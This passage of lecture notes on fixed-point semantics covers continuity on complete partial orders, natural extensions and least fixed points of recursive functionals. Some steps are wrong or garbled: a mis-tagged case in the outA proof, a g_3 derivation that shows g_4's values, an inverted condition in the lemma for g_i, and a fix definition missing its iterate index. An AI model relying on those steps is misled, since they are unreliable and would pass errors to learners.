f_i(\text{lub}\{x_j|j \geq 1\}) = \text{lub}\{f_i(x_j)|j \geq 1\}$$ by using the fact that each $f_i$ is monotonic and continuous (the columns of Figure 10.9). We have chains $$f_1(x_k) \subseteq f_2(x_k) \subseteq f_3(x_k) \subseteq \ldots \text{for each } k$$ and $$\text{lub}\{f_1(x_j)|j \geq 1\} \subseteq \text{lub}\{f_2(x_j)|j \geq 1\}$$ $$\subseteq \text{lub}\{f_3(x_j)|j \geq 1\} \subseteq \ldots$$ So for each $k$, $$\text{lub}\{f_i(x_k)|i \geq 1\} \subseteq \text{lub}\{\text{lub}\{f_i(x_j)|j \geq 1\}|i \geq 1\}$$ by the Limit lemma. This corresponds to the rightmost column. Hence $$\text{lub}\{\text{lub}\{f_i(x_k)|i \geq 1\}|k \geq 1\} \subseteq \text{lub}\{\text{lub}\{f_i(x_j)|j \geq 1\}|i \geq 1\}$$ by the Lub lemma. Now change $k$ to $j$. Therefore $F$ is continuous. --- **Example 10** Student = {⊥, Autry, Bates} Level = {⊥, undergraduate, graduate, nondegree} Fun(Student, Level) contains 64 ($4^3$) elements. Only 19 of these functions are monotonic and continuous. Which of these functions are monotonic? $$f = \{⊥ \mapsto ⊥, \text{Autry} \mapsto \text{nondegree}, \text{Bates} \mapsto ⊥\}$$ $$g = \{⊥ \mapsto \text{grad}, \text{Autry} \mapsto \text{grad}, \text{Bates} \mapsto ⊥\}$$ $$h = \{⊥ \mapsto \text{grad}, \text{Autry} \mapsto \text{grad}, \text{Bates} \mapsto \text{grad}\}$$ **Thm:** If $A$ and $B$ are cpos, $A$ is a finite set, and $f \in \text{Fun}(A,B)$ is monotonic, $f$ is also continuous. **Proof:** Let $x_1 \subseteq_A x_2 \subseteq_A x_3 \subseteq_A \ldots$ be an ascending chain in $A$. Since $A$ is finite, for some $k$, $x_k = x_{k+1} = x_{k+2} = \ldots$. So the chain is a finite set, $\{x_1, x_2, x_3, \ldots, x_k\}$, whose least upper bound is $x_k$. Since $f$ is monotonic, \[ f(x_1) \subseteq_B f(x_2) \subseteq_B f(x_3) \subseteq_B \ldots \subseteq_B f(x_k) \] \[ = f(x_{k+1}) = f(x_{k+2}) = \ldots \] is an ascending chain in $B$, which is also a finite set, namely $\{f(x_1), f(x_2), f(x_3), \ldots, f(x_k)\}$ with $f(x_k)$ as its least upper bound. Therefore, $f(\text{lub}\{x_i|i \geq 1\}) = f(x_k) = \text{lub}\{f(x_i)|i \geq 1\}$, and $f$ is continuous. □ --- **Continuity of Functions on Domains** **Thm:** These functions on domains and their analogs are continuous: 1. $first : A \times B \rightarrow A$ 2. $inS : A \rightarrow S$ where $S = A + B$ 3. $outA : A + B \rightarrow A$ 4. $isA : A + B \rightarrow T$ **Proof:** 2. Let $a_1 \subseteq a_2 \subseteq a_3 \subseteq \ldots$ be an ascending chain in domain $A$. Observe that $1 \subseteq 1 \subseteq 1 \subseteq 1 \subseteq \ldots$ is an ascending chain in $N$. Then $<a_1, 1> \subseteq <a_2, 1> \subseteq <a_3, 1> \subseteq \ldots$ is an ascending chain in $S$. So $inS(\text{lub}\{a_i|i \geq 1\}) = <\text{lub}\{a_i|i \geq 1\}, 1>$ \[ = <\text{lub}\{a_i|i \geq 1\}, \text{lub}\{1|i \geq 1\}> \] \[ = \text{lub}\{\langle a_i, 1 \rangle | i \geq 1\} \] \[ = \text{lub}\{inS(a_i) | i \geq 1\}. \] --- 3. An ascending chain $s_1 \subseteq s_2 \subseteq s_3 \subseteq \ldots$ in $S = A + B$ may repeat $\bot_{A+B}$ forever or eventually climb into either $Ax\{1\}$ or $Bx\{2\}$. In the first case, the least upper bound will be $\bot_{A+B}$, and in the other two cases the lub will be some $a \in A$ or some $b \in B$. **Case 1:** $s_i = \bot_{A+B}$ for all $i \geq 1$. Then $outA(\text{lub}_S\{s_i|i \geq 1\}) = outA(\bot_S) = \bot_A$, and $\text{lub}_A\{outA(s_i)|i \geq 1\} = \text{lub}_A\{\bot_A|i \geq 1\} = \bot_A$. **Case 2:** For some $k \geq 1$, $s_i = <a_i, 2>$ for all $i \geq k$ where $a_i \in A$. Then $outA(\text{lub}\{s_i|i \geq 1\})$ \[ = outA(<\text{lub}\{a_i|i \geq k\}, 2>) \] \[ = \text{lub}\{a_i|i \geq k\} \] and $\text{lub}\{outA(s_i)|i \geq 1\} = \text{lub}\{a_i|i \geq k\}$. **Case 3:** For some $k \geq 1$, $s_i = <b_i, 2>$ for all $i \geq k$ where $b_i \in B$. Then $outA(\text{lub}\{s_i|i \geq 1\}) = outA(<\text{lub}\{b_i|i \geq k\}, 2>)$ \[ = \bot_A \] and $\text{lub}\{outA(s_i)|i \geq 1\} = \text{lub}\{\bot_A|i \geq 1\} = \bot_A$. □ **Thm:** The composition of continuous functions is continuous. **Proof:** Suppose $f : A \rightarrow B$ and $g : B \rightarrow C$ are continuous functions. Let $x_1 \subseteq x_2 \subseteq x_3 \subseteq \ldots$ be an ascending chain in $A$. Then $f(x_1) \subseteq f(x_2) \subseteq f(x_3) \subseteq \ldots$ is an ascending chain in $B$ with $f(\text{lub}\{x_i|i \geq 1\}) = \text{lub}\{f(x_i)|i \geq 1\}$ by the continuity of $f$. Since $g$ is continuous, $g(f(x_1)) \subseteq g(f(x_2)) \subseteq g(f(x_3)) \subseteq \ldots$ is an ascending chain in $C$ with $g(\text{lub}\{f(x_i)|i \geq 1\}) = \text{lub}\{g(f(x_i))|i \geq 1\}$. Therefore $g(f(\text{lub}\{x_i|i \geq 1\})) = g(\text{lub}\{f(x_i)|i \geq 1\}) = \text{lub}\{g(f(x_i))|i \geq 1\}$ and $g \circ f$ is continuous. □ Fixed Point Semantics Goal: Provide meaning for recursive definitions. First Step: Transform partial functions into total functions. Example f is a function with domain $D = \{0, 1, 2\}$ and codomain $C = \{0, 1, 2\}$ defined by: $$f(n) = \frac{2}{n}$$ or $$f = \{\langle 1, 2 \rangle, \langle 2, 1 \rangle\}.$$ Note that $f(0)$ is undefined; therefore $f$ is a partial function. Now extend $f$ to make it a total function: $$f = \{\langle 1, 2 \rangle, \langle 2, 1 \rangle, \langle 0, ? \rangle\}.$$ Add an undefined element to the codomain, $C^+ = \{\bot, 0, 1, 2\}$, and for symmetry, do likewise with the domain, $D^+ = \{\bot, 0, 1, 2\}$. Define the natural extension of $f$ by having $\bot_D$ map to $\bot_C$ under $f$: $$f^+ = \{\langle \bot, \bot \rangle, \langle 0, \bot \rangle, \langle 1, 2 \rangle, \langle 2, 1 \rangle\}.$$ Define a relationship that orders functions and domains according to how “defined” they are, putting a lattice-like structure on the elementary domains: For $x, y \in D^+$, $x \subseteq y$ if $x = \bot$ or $x = y$. This relation is read “$x$ approximates $y$” or “$x$ is less defined or equal to $y$”. Thm: Let $f^+$ be a natural extension of a function between two sets $D$ and $C$ so that $f^+$ is a total function from $D^+$ to $C^+$. Then $f^+$ is monotonic and continuous. Proof: Let $x_1 \subseteq x_2 \subseteq x_3 \subseteq \ldots$ be an ascending chain in the domain $D^+ = D \cup \{\bot\}$. Two possibilities for the behavior of the chain: **Case 1:** $x_i = \bot_D$ for all $i \geq 1$. Then $lub\{x_i | i \geq 1\} = \bot_D$, and $$f^+(lub\{x_i | i \geq 1\}) = f^+(\bot_D)$$ $$= \bot_C = lub\{\bot_C\} = lub\{f^+(x_i) | i \geq 1\}.$$ **Case 2:** $x_i = \bot_D$ for $1 \leq i \leq k$ and $x_{k+1} = x_{k+2} = x_{k+3} = \ldots$, since once the terms move above bottom, the sequence is constant in a flat domain. Then $lub\{x_i | i \geq 1\} = x_{k+1}$, and $$f^+(lub\{x_i | i \geq 1\}) = f^+(x_{k+1})$$ $$= lub\{\bot_C, f^+(x_{k+1})\} = lub\{f^+(x_i) | i \geq 1\}.$$ If $f^+$ is continuous, it is also monotonic. The natural extension of a function whose domain is a Cartesian product, namely $f : D_1^+ \times D_2^+ \times \ldots \times D_n^+ \rightarrow C^+$, has the property that $f^+(x_1, x_2, \ldots, x_n) = \bot_C$ whenever at least one $x_i = \bot$. Any function that satisfies this property is known as a strict function. Thm: If $f^+ : D_1^+ \times D_2^+ \times \ldots \times D_n^+ \rightarrow C^+$ is a natural extension where $D_i^+$, $1 \leq i \leq n$, and $C^+$ are elementary domains, then $f^+$ is monotonic and continuous. Proof: Consider the case where $n = 2$. Show $f^+$ is continuous. Let $\langle x_1, y_1 \rangle \subseteq \langle x_2, y_2 \rangle \subseteq \langle x_3, y_3 \rangle \subseteq \ldots$ be an ascending chain in $D_1^+ \times D_2^+$. Since $D_1^+$ and $D_2^+$ are elementary domains, the chains $\{x_i | i \geq 1\}$ and $\{y_i | i \geq 1\}$ must follow one of the two cases in the previous proof, namely all $\bot$ or eventually a constant proper value in $D_1^+$. **Case 1:** \( \text{lub}\{x_i|i\geq 1\} = \bot_{D_1^+} \) or \( \text{lub}\{y_i|i\geq 1\} = \bot_{D_2^+} \) (or both). Then \( f^+(\text{lub}\{<x_i,y_i>|i\geq 1\}) \) \[= f^+(\text{lub}\{x_i|i\geq 1\}, \text{lub}\{y_i|i\geq 1\}) = \bot_{C^+} \] because \( f^+ \) is a natural extension and one of its arguments is \( \bot \), and \( \text{lub}(f^+(<x_i,y_i>)|i\geq 1\} = \text{lub}(\bot_{C^+}|i\geq 1\} = \bot_{C^+}. \) **Case 2:** \( \text{lub}\{x_i|i\geq 1\} = x \in D_1 \) and \( \text{lub}\{y_i|i\geq 1\} = y \in D_2 \) Since \( D_1^+ \) and \( D_2^+ \) are both elementary domains, there is an integer \( k \) such that \( x_i = x \) and \( y_i = y \) for all \( i \geq k \). So \( f^+(\text{lub}\{<x_i,y_i>|i\geq 1\}) \) \[= f^+(\text{lub}\{x_i|i\geq 1\}, \text{lub}\{y_i|i\geq 1\}) \] \[= f^+(<x,y>) \in C^+ \] and \( \text{lub}(f^+(<x_i,y_i>)|i\geq 1\} = \text{lub}(\bot_{C^+}, f^+(<x,y>)) \) \[= f^+(<x,y>). \] --- **Example** Consider the natural extension of the conditional expression operation: \[(\text{if } a \text{ b c}) = \text{if } a \text{ then } b \text{ else } c.\] The natural extension unduly restricts the meaning of the conditional expression. For example, we prefer that the following expression return 0 when \( x=1 \) and \( y=0 \): \[\text{if } y>0 \text{ then } x/y \text{ else } 0.\] If we interpret the undefined operation \( 1/0 \) as \( \bot \), when \( x=1 \) and \( y=0 \), \[(\text{if}^+ y>0 \ x/y \ 0) = (\text{if}^+ \text{ false } \bot \ 0) = \bot \] for a natural extension. --- **Second Step:** Give meaning to recursive definitions. Consider a recursively defined function \( f : N \to N \) where \( N = \{\bot, 0, 1, 2, 3, \ldots\} \) and \[ f(n) = \begin{cases} 5 & \text{if } n=0 \\ f(n+2) & \text{if } n=1 \\ f(n-2) & \text{else} \end{cases} \quad (†) \] Two questions: 1. What function, if any, does this equation in \( f \) denote? 2. Does it specify more than one function? Define a **functional** \( F \) by \[ F : (N \to N) \to (N \to N) \] where \[(F(f))(n) = \begin{cases} 5 & \text{if } n=0 \\ f(n+2) & \text{if } n=1 \\ f(n-2) & \text{else} \end{cases} \quad (‡) \] Function application associates to the left; omit the parentheses with multiple applications, writing \( F \ f \ n \) for \( (F(f))(n) \). A function, \( f : N \to N \), satisfies the original definition \( (†) \) if and only if it is a **fixed point** of the definition of \( F \), \( (‡) \), \[ F \ f \ n = f(n) \text{ for all } n \in N \quad \text{or just } F \ f = f. \] Once more: Suppose \( f : D \to C \) is a function defined recursively by \( f(x) = \alpha(x,f) \) for each \( x \in D \) where \( \alpha(x,f) \) is some expression in \( x \) and \( f \). Furthermore, let \( F : (D \to C) \to (D \to C) \) be the functional defined by \( F \ f \ x = \alpha(x,f) \). Then \[ F \ f = f \text{ if and only if } F \ f \ x = f \ x \text{ for all } x \in D \] \[ \text{if and only if } \alpha(x,f) = f \ x \text{ for all } x \in D \] which is the same as \( f(x) = \alpha(x,f) \) for all \( x \in D \). Using lambda calculus notation: \[ F \ f = \lambda n . \begin{cases} 5 & \text{if } n=0 \\ f(n+2) & \text{if } n=1 \\ f(n-2) & \text{else} \end{cases} \] or \[ F = \lambda f . \lambda n . \begin{cases} 5 & \text{if } n=0 \\ f(n+2) & \text{if } n=1 \\ f(n-2) & \text{else} \end{cases} \] Fixed Points in Mathematics | Function | Fixed Points | |----------|-------------| | $g(n) = n^2 - 6n$ | 0 and 7 | | $g(n) = n$ | all $n \in \mathbb{N}$ | | $g(n) = n + 5$ | none | | $g(n) = 2$ | 2 | Back to Functional F The function $g = \lambda n . 5$ is a fixed point of $F$: $$F g = \lambda n . \text{if } n=0 \text{ then } 5 \text{ else if } n=1 \text{ then } g(n+2) \text{ else } g(n-2)$$ $$= \lambda n . \text{if } n=0 \text{ then } 5 \text{ else if } n=1 \text{ then } 5 \text{ else } 5$$ $$= \lambda n . 5 = g.$$ Problem $g = \lambda n . 5$ does not agree with the operational behavior of the original recursive definition. $f(1) = f(3) = f(1) = \ldots$ does not produce a value, whereas $g(1) = 5$. Special Fixed Point Of the possible fixed points of a functional, chose the one that is “least defined” according to $\subseteq$. 1. Any fixed point of $F$ embodies the information that can be deduced from $F$. 2. The least fixed point includes no more information than what must be deduced. Define the meaning of a recursive definition of a function to be the “least” fixed point, with respect to $\subseteq$, of the corresponding functional $F$. Does a least fixed point always exist? Notation: Define $f^k$ for each $k \geq 0$ inductively: $$f^0(x) = x \text{ is the identity function and}$$ $$f^{n+1}(x) = f(f^n(x)) \text{ for } n \geq 0.$$ Thm: If $D$ with $\subseteq$ is a complete partial order and $g : D \rightarrow D$ ($g$ is any monotonic and continuous function on $D$), then $g$ has a least fixed point with respect to $\subseteq$ on $D \rightarrow D$. Proof: Since $D$ is a cpo, $g^0(\bot) = \bot \subseteq g(\bot)$. Since $g$ is monotonic, $g(\bot) \subseteq g(g(\bot)) = g^2(\bot)$. In general, since $g$ is monotonic, $$g^i(\bot) \subseteq g^{i+1}(\bot) \text{ implies}$$ $$g^{i+1}(\bot) = g(g^i(\bot)) \subseteq g(g^{i+1}(\bot)) = g^{i+2}(\bot).$$ So by induction, $$\bot \subseteq g(\bot) \subseteq g^2(\bot) \subseteq g^3(\bot) \subseteq g^4(\bot) \subseteq \ldots$$ is an ascending chain in $D$, which must have a least upper bound $u = \text{lub}\{g^i(\bot) \mid i \geq 0\} \in D$. But $g(u) = g(\text{lub}\{g^i(\bot) \mid i \geq 0\})$ $$= \text{lub}\{g(g^i(\bot)) \mid i \geq 0\} \text{ since } g \text{ is continuous}$$ $$= \text{lub}\{g^{i+1}(\bot) \mid i \geq 0\}$$ $$= \text{lub}\{g^i(\bot) \mid i \geq 0\} = u$$ That is, $u$ is a fixed point for $g$. Note that $g^0(\bot) = \bot$ has no effect on the least upper bound of $\{g^i(\bot) \mid i \geq 0\}$. Let $v \in D$ be another fixed point for $g$. Then $\bot \subseteq v$ and $g(\bot) \subseteq g(v) = v$, the basis step for induction. Suppose $g^i(\bot) \subseteq v$. Then since $g$ is monotonic, $$g^{i+1}(\bot) = g(g^i(\bot)) \subseteq g(v) = v,$$ the induction step. Therefore, by mathematical induction, $g^i(\bot) \subseteq v$ for all $i \geq 0$. So $v$ is an upper bound for $\{g^i(\bot) \mid i \geq 0\}$. Hence $u \subseteq v$, since $u$ is the least upper bound for $\{g^i(\bot) \mid i \geq 0\}$. Corollary: Every continuous functional $F : (A \rightarrow B) \rightarrow (A \rightarrow B)$, where $A$ and $B$ are domains, has a least fixed point, $F_{fp} : A \rightarrow B$, which can be taken as the meaning of the (recursive) definition corresponding to $F$. **Example** Consider the functional $G: (N \rightarrow N) \rightarrow (N \rightarrow N)$ where $G g n = \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } g(3)-12 \\ \text{else } 4n+g(n-2) \end{cases}$ that corresponds to the recursive definition $g(n) = \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } g(3)-12 \\ \text{else } 4n+g(n-2) \end{cases}$ Contemplate the ascending sequence $\bot \subseteq G(\bot) \subseteq G^2(\bot) \subseteq G^3(\bot) \subseteq G^4(\bot) \subseteq \ldots$ and its least upper bound. Use the abbreviation $g_k = (G^k \bot)$ for $k \geq 0$: $g_0(n) = G^0 \bot n = \bot(n)$ $g_1(n) = G \bot n = G g_0 n$ $g_2(n) = G (G \bot) n = G g_1 n$ $g_3(n) = G^3 \bot n = G g_2 n$ Now calculate a few terms in the ascending chain $g_0 \subseteq g_1 \subseteq g_2 \subseteq g_3 \subseteq \ldots$ --- **Note Property** $a + (\text{if } b \text{ then } c \text{ else } d) =$ $= \begin{cases} \text{if } b \text{ then } a+c \text{ else } a+d \end{cases}$ $g_3(n) = G^3 \bot n = G g_2 n$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } g_2(3)-12 \\ \text{else } 4n+g_2(n-2) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot-12 \\ \text{else } 4n+( \text{if } n-2=0 \text{ then 1} \\ \text{else if } n-2=1 \text{ then } \bot \\ \text{else if } n-2=2 \text{ then 9 else } \bot) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot \\ \text{else (if } n=2 \text{ then 4n+1} \\ \text{else if } n=3 \text{ then 4n+}\bot \\ \text{else if } n=4 \text{ then 4n+9} \\ \text{else } 4n+\bot \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot \\ \text{else if } n=2 \text{ then 9} \\ \text{else if } n=3 \text{ then } \bot \\ \text{else if } n=4 \text{ then 25} \\ \text{else if } n=5 \text{ then } \bot \\ \text{else if } n=6 \text{ then 49 else } \bot \end{cases}$ --- $g_0(n) = G^0 \bot n = \bot(n) = \bot$ for $n \in N$, the everywhere undefined function. $g_1(n) = G \bot n = G g_0 n$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } g_0(3)-12 \\ \text{else } 4n+g_0(n-2) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot(3)-12 \\ \text{else } 4n+\bot(n-2) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else } \bot \end{cases}$ $g_2(n) = G^2 \bot n = G g_1 n$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } g_1(3)-12 \\ \text{else } 4n+g_1(n-2) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot \\ \text{else (if } n=2 \text{ then 4n+1 else } \bot) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot \\ \text{else if } n=2 \text{ then 9 else } \bot \end{cases}$ $g_4(n) = G^4 \bot n = G g_3 n$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } g_3(3)-12 \\ \text{else } 4n+g_3(n-2) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot-12 \\ \text{else } 4n+( \text{if } n-2=0 \text{ then 1} \\ \text{else if } n-2=1 \text{ then } \bot \\ \text{else if } n-2=2 \text{ then 9} \\ \text{else if } n-2=3 \text{ then } \bot \\ \text{else if } n-2=4 \text{ then 25} \\ \text{else } \bot) \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot \\ \text{else (if } n=2 \text{ then 4n+1} \\ \text{else if } n=3 \text{ then 4n+}\bot \\ \text{else if } n=4 \text{ then 4n+9} \\ \text{else if } n=5 \text{ then 4n+}\bot \\ \text{else if } n=6 \text{ then 4n+25} \\ \text{else } 4n+\bot \end{cases}$ $= \begin{cases} \text{if } n=0 \text{ then 1} \\ \text{else if } n=1 \text{ then } \bot \\ \text{else if } n=2 \text{ then 9} \\ \text{else if } n=3 \text{ then } \bot \\ \text{else if } n=4 \text{ then 25} \\ \text{else if } n=5 \text{ then } \bot \\ \text{else if } n=6 \text{ then 49 else } \bot \end{cases}$ A pattern seems to be developing. **Lemma:** For all $i \geq 0$, $$g_i(n) = \begin{cases} \bot & \text{if } n < 2i \\ \text{if even}(n) \text{ then } (n+1)^2 \text{ else } \bot & \text{else} \end{cases}$$ Proof: The proof proceeds by induction on $i$. a) By the previous computations, for $i = 0$, $$g_0(n) = \bot = \begin{cases} \text{if } n < 2 \cdot 0 \text{ then } (n+1)^2 \text{ else } \bot & \text{else} \end{cases}$$ b) As the induction hypothesis, assume that $$g_i(n) = \begin{cases} \bot & \text{if } n < 2i \\ \text{if even}(n) \text{ then } (n+1)^2 \text{ else } \bot & \text{else} \end{cases}$$ for any arbitrary $i \geq 0$. Then $g_{i+1}(n) = G g_i n$ $$= \begin{cases} \text{if } n = 0 \text{ then } 1 & \text{else if } n = 1 \text{ then } g_i(3) - 12 \text{ else } 4n + g_i(n-2) \end{cases}$$ Therefore our pattern for the $g_i$ is correct. --- The least upper bound of the ascending chain $$g_0 \subseteq g_1 \subseteq g_2 \subseteq g_3 \subseteq \ldots,$$ where $$g_i(n) = \begin{cases} \bot & \text{if } n < 2i \\ \text{if even}(n) \text{ then } (n+1)^2 \text{ else } \bot & \text{else} \end{cases}$$ must be defined (not $\bot$) for any $n$ where some $g_i$ is defined, and must take the value $(n+1)^2$ there. Hence the least upper bound is $$G_{fp}(n) = (\text{lub}\{g_i \mid i \geq 0\}) n$$ $$= (\text{lub}\{G^i \bot \mid i \geq 0\}) n$$ $$= \begin{cases} \text{if even}(n) \text{ then } (n+1)^2 \text{ else } \bot & \text{for all } n \in \mathbb{N}, \end{cases}$$ and this function can be taken as the meaning of the original recursive definition. Note that the function $h \ n = (n+1)^2$ is also a fixed point for $G$. It is more defined than $G_{fp}$. In fact, $G_{fp} \subseteq h$. --- **fix** The procedure for computing a least fixed point for a functional can be described as an operator on functions $F : D \rightarrow D$: $$\text{fix} : (D \rightarrow D) \rightarrow D \text{ where } \text{fix } F = \text{lub}\{F(\bot) \mid i \geq 0\} \in D.$$ The least fixed point of the functional $$F = \lambda f . \lambda n . \begin{cases} 5 & \text{if } n = 0 \\ f(n+2) & \text{else if } n = 1 \\ f(n-2) & \text{else} \end{cases}$$ can then be expressed as $$F_{fp} = \text{fix } F,$$ an element of $D = \mathbb{N} \rightarrow \mathbb{N}$. For $F : (\mathbb{N} \rightarrow \mathbb{N}) \rightarrow (\mathbb{N} \rightarrow \mathbb{N})$, $\text{fix}$ has type $$\text{fix} : ((\mathbb{N} \rightarrow \mathbb{N}) \rightarrow (\mathbb{N} \rightarrow \mathbb{N})) \rightarrow (\mathbb{N} \rightarrow \mathbb{N}).$$ The fixed point operator $\text{fix}$ provides a fixed point for any continuous functional, namely, the least defined function with this fixed point property. **Fixed Point Identity:** $F(\text{fix } F) = \text{fix } F$. Continuous Functionals **Lemma**: A constant function $f : D \to C$, where $f(x) = k$ for some fixed $k \in C$ and for all $x \in D$, is continuous given either of the two extensions: a) The natural extension where $f(\bot_D) = \bot_C$. b) The “unnatural” extension where $f(\bot_D) = k$. **Lemma**: An identity function $f : D \to D$, where $f(x) = x$ for all $x$ in a domain $D$, is continuous. Proof: If $x_1 \subseteq x_2 \subseteq x_3 \subseteq \ldots$ is an ascending chain in $D$, it follows that $$f(lub\{x_i | i \geq 1\}) = lub\{x_i | i \geq 1\} = lub\{f(x_i) | i \geq 1\}.$$ **Conditional Expression Function**: Natural extension of “if” is too restrictive. **Lazy if** $$\text{if}(a, b, c) = \text{if } a \text{ then } b \text{ else } c.$$ where $\text{if} : T \times D \times D \to D$ for some domain $D$ and $T = \{\bot, \text{true}, \text{false}\}$ (if true then $b$ else $c$) = $b$ for any $b, c \in D$ (if false then $b$ else $c$) = $c$ for any $b, c \in D$ (if $\bot$ then $b$ else $c$) = $\bot_D$ for any $b, c \in D$ **Lemma**: The uncurried “if” function as defined above is continuous. Proof: Consider three cases. **Lemma**: The composition of continuous functions is continuous, namely if $f : C_1 \times C_2 \times \ldots \times C_n \to C$ is continuous and $g_i : D_i \to C_i$ is continuous for each $i$, $1 \leq i \leq n$, then $f \circ <g_1, g_2, \ldots, g_n> : D_1 \times D_2 \times \ldots \times D_n \to C$, defined by $$f \circ (g_1, g_2, \ldots, g_n) <x_1, x_2, \ldots, x_n> = f <g_1(x_1), g_2(x_2), \ldots, g_n(x_n)>$$ is also continuous. Proof: Exercise. **Composition Involving a Parameter** $F : (N \to N) \to (N \to N)$ where $$F f n = n + f \text{ if } n = 0 \text{ then } 0 \text{ else } f(f(n-1)).$$ **Lemma**: If $F_1, F_2, \ldots, F_n$ are continuous functionals, say $F_i : (D^n \to D) \to (D^n \to D)$ for each $i$, $1 \leq i \leq n$, the functional $F : (D^n \to D) \to (D^n \to D)$ defined by $F f d = f <F_1 f d, F_2 f d, \ldots, F_n f d>$ for all $f \in D^n \to D$ and $d \in D^n$ is also continuous. Proof: Consider the case where $n=1$. So $F_1 : (D \to D) \to (D \to D)$, $F : (D \to D) \to (D \to D)$, and $F f d = f <F_1 f d>$. Let $f_1 \subseteq f_2 \subseteq f_3 \subseteq \ldots$ be a chain in $D \to D$. The proof shows that $lub\{F f_i | i \geq 1\} = F(lub\{f_i | i \geq 1\})$ in two parts. **Part 1**: $lub\{F(f_i) | i \geq 1\} \subseteq F(lub\{f_i | i \geq 1\})$. For each $i \geq 1$, $f_i \subseteq lub\{f_i | i \geq 1\}$. Since $F_1$ is monotonic, $F_1(f_i) \subseteq F_1(lub\{f_i | i \geq 1\})$, which means that $F_1 f_i d \subseteq F_1 lub\{f_i | i \geq 1\} d$ for each $d \in D$. Since $f_1$ is monotonic, $f_1(F_1 f_i d) \subseteq f_1(F_1 lub\{f_i | i \geq 1\} d)$. But $F f_i d = f_i <F_1 f_i d>$ and $f_1 <F_1 lub\{f_i | i \geq 1\} d> \subseteq lub\{f_i | i \geq 1\} <F_1 lub\{f_i | i \geq 1\} d>$. Therefore, $F f_i d \subseteq lub\{f_i | i \geq 1\} <F_1 lub\{f_i | i \geq 1\} d>$ for each $i \geq 1$ and $d \in D$. So, $lub\{F(f_i) | i \geq 1\} d = lub\{F f_i d | i \geq 1\} \subseteq lub\{f_i | i \geq 1\} <F_1 lub\{f_i | i \geq 1\} d> = F lub\{f_i | i \geq 1\} d$ for $d \in D$. **Part 2**: $F(lub\{f_i | i \geq 1\}) \subseteq lub\{F(f_i) | i \geq 1\}$. For any $d \in D$, $F lub\{f_i | i \geq 1\} d$ $= lub\{f_i | i \geq 1\} <F_1 lub\{f_i | i \geq 1\} d>$ by defn of $F$, $= lub\{f_i | i \geq 1\}(lub\{F_1(f_i) | i \geq 1\} d)$ since $F_1$ is cont, $= lub\{lub\{f_i | i \geq 1\} <(F_1(f_i) | i \geq 1\} d> | i \geq 1\}$ since $lub\{f_i | i \geq 1\}$ is continuous $= lub\{lub\{f_i <(F_1(f_i) | i \geq 1\} d>\} | i \geq 1\}$ by definition of $lub\{f_i | i \geq 1\}$. $\dagger$ If \( j \leq i, \quad f_j \subseteq f_i, \) \( F_1 f_j \subseteq F_1 f_i \) since \( F_1 \) is monotonic, \( F_1 f_j d \subseteq F_1 f_i d \) for each \( d \in D, \) and \( f_i <F_1 f_j d> \subseteq f_i <F_1 f_i d> \) since \( f_i \) is monotonic. If \( i < j, \quad f_i \subseteq f_j, \) and \( f_i <F_1 f_j d> \subseteq f_j <F_1 f_j d> \) for each \( d \in D \) by the meaning of \( \subseteq. \) So, \( f_i <F_1 f_j d> \subseteq lub\{f_n(F_1 f_n d)|n \geq 1\} \) for each \( i, j \geq 1. \) But \( lub_n\{f_n(F_1 f_n d)\} = lub_n\{F f_n d|n \geq 1\} \) \( = lub_n\{F(f_n)|i \geq 1\} d \) by the definition of \( F. \) So \( f_i <F_1 f_j d> \subseteq lub\{F(f_n)|n \geq 1\} d \) for each \( i, j \geq 1, \) and \( lub\{f_i <F_1 f_j d>|i \geq 1\} \subseteq lub\{F(f_n)|n \geq 1\} d \) for each \( j \geq 1. \) Hence \( lub\{lub\{f_i <F_1 f_j d>|i \geq 1\}|j \geq 1\} \subseteq lub\{F(f_n)|i \geq 1\} d. \) Combining with \( \dagger \) gives \( F(lub\{f_i|i \geq 1\}) d \subseteq lub_n\{F(f_n)|i \geq 1\} d. \) **Theorem:** Any functional \( H \) defined by the composition of naturally extended functions on elementary domains, constant functions, the identity function, the if-then-else conditional expression, and a function variable \( f, \) is continuous. **Proof:** The proof follows by induction on the structure of the definition of the functional. The basis is handled by the continuity of natural extensions, constant functions, and the identity function. The induction step relies on the lemmas which state that the composition of continuous functions, possibly involving \( f, \) is continuous. **Look at Example 14:** \[ H : (N \rightarrow N) \rightarrow (N \rightarrow N) \text{ where} \] \[ H h n = n + \text{if } n=0 \text{ then } 0 \text{ else } h(h(n-1)) \] \( = \text{if } n=0 \text{ then } n \text{ else } n+h(h(n-1)). \) --- **Fixed Points for Nonrecursive Functions** Find the least fixed point for the function \( h(n) = n^3 - 3n \) defined on the integers \( Z. \) **First Interpretation:** The natural extension \( h^+ \) of \( h \) is a continuous function on the elementary domain \( Z \cup \{\bot\}. \) Then the least fixed point of \( h^+ \) may be constructed as the least upper bound of the ascending sequence: \[ \bot \subseteq h^+(\bot) \subseteq h^+(h^+(\bot)) \subseteq h^+(h^+(h^+(\bot))) \subseteq \ldots \] But \( h^+(\bot) = \bot, \) and so \( (h^+)^k(\bot) = h^+((h^+)^{k-1}(\bot)) = h^+\bot = \bot \) for any \( k \geq 1. \) Therefore, \( lub\{(h^+)^k(\bot)|k \geq 0\} = lub\{\bot|k \geq 0\} = \bot \) is the least fixed point. In fact, 